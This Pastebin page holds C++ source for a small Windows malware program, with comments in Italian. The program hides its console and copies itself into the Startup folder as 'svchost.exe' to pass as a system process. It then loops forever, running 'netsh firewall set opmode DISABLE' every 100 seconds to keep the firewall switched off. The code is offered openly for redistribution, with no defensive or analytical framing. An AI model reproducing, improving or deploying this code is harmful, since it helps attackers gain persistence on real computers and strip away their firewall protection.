Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /* Software scritto da Informaticage_NJP */
- /* Informaticage.altervista.org */
- /* Puoi distribuire il seguente software e sorgente citando le fonti */
- /* Giusto per un po di pubblicità XD */
- #include <cstdlib>
- #include <iostream>
- #include <windows.h>
- #include<Shlobj.h>
- #include <string>
- // #include "C:\\Program Files (x86)\\Windows Kits\\8.0\\Include\\um\\netfw.h"
- using namespace std;
- void kill_fw();
- int main()
- {
- FreeConsole();
- /* Dichiarazioni */
- TCHAR startup_path[MAX_PATH];
- TCHAR my_path[MAX_PATH];
- string file_name = "\\svchost.exe";
- string startup_filename_path;
- /* Salviamo il percorso del nostro exe in un TCHAR */
- /* Se non ci sono errori procediamo */
- if(GetModuleFileName(NULL, my_path, MAX_PATH) != 0)
- {
- /* Se siamo riusciti a trovare la cartella di startup... */
- if(SUCCEEDED(SHGetFolderPath(NULL,CSIDL_STARTUP, NULL, 0, startup_path)))
- {
- startup_filename_path = startup_path;
- startup_filename_path.append(file_name);
- /* Se riusciamo a copiare il file... */
- if(CopyFile(my_path, (const TCHAR*)startup_filename_path.c_str(), false) != 0) // Copiamo in esecuzione automatica anche se il file esiste già
- {
- cout << "File copiato con successo!" << endl;
- while(true) // all'infinito...
- {
- kill_fw(); // Richiamiamo la funzione kill_fw() per terminare il firewall
- Sleep(100000); // ogni 100 secondi controlla
- }
- }
- else
- {
- cout << "Error during CopyFile" << endl;
- system("Pause");
- return EXIT_SUCCESS;
- }
- }
- }
- return EXIT_SUCCESS; // return 0;
- }
- void kill_fw()
- {
- if(system("netsh firewall set opmode DISABLE >> null") != 0) // chiamata a system
- {
- cout << "Error may have occurred"
- << endl
- << "Sicuro di avere i privilegi?"
- << endl;
- }
- else
- {
- cout << "Firewall disattivato con successo!" << endl;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement